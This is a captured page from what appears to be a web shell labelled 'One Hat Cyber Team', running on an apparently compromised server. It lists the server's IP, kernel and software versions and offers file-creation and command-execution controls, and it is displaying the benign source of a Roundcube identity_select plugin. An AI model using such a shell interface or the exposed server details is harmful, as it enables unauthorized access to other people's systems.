⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.79
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-roundcube
/
plugins
/
identity_select
/
View File Name :
identity_select.php
* @license GNU GPLv3+ */ class identity_select extends rcube_plugin { public $task = 'mail'; function init() { $this->add_hook('identity_select', [$this, 'select']); $this->add_hook('storage_init', [$this, 'storage_init']); } /** * Adds additional headers to supported headers list */ function storage_init($p) { $rcmail = rcmail::get_instance(); if ($add_headers = (array) $rcmail->config->get('identity_select_headers', [])) { $add_headers = strtoupper(join(' ', $add_headers)); if (isset($p['fetch_headers'])) { $p['fetch_headers'] .= ' ' . $add_headers; } else { $p['fetch_headers'] = $add_headers; } } return $p; } /** * Identity selection */ function select($p) { if ($p['selected'] !== null || empty($p['message']->headers)) { return $p; } $rcmail = rcmail::get_instance(); foreach ((array) $rcmail->config->get('identity_select_headers', []) as $header) { if ($emails = $this->get_email_from_header($p['message'], $header)) { foreach ($p['identities'] as $idx => $ident) { if (in_array($ident['email_ascii'], $emails)) { $p['selected'] = $idx; break 2; } } } } return $p; } /** * Extract email address from specified message header */ protected function get_email_from_header($message, $header) { $value = $message->headers->get($header, false); if (strtolower($header) == 'received') { // find first email address in all Received headers $email = null; foreach ((array) $value as $entry) { if (preg_match('/[\s\t]+for[\s\t]+<([^>]+)>/', $entry, $matches)) { $email = $matches[1]; break; } } $value = $email; } return (array) $value; } }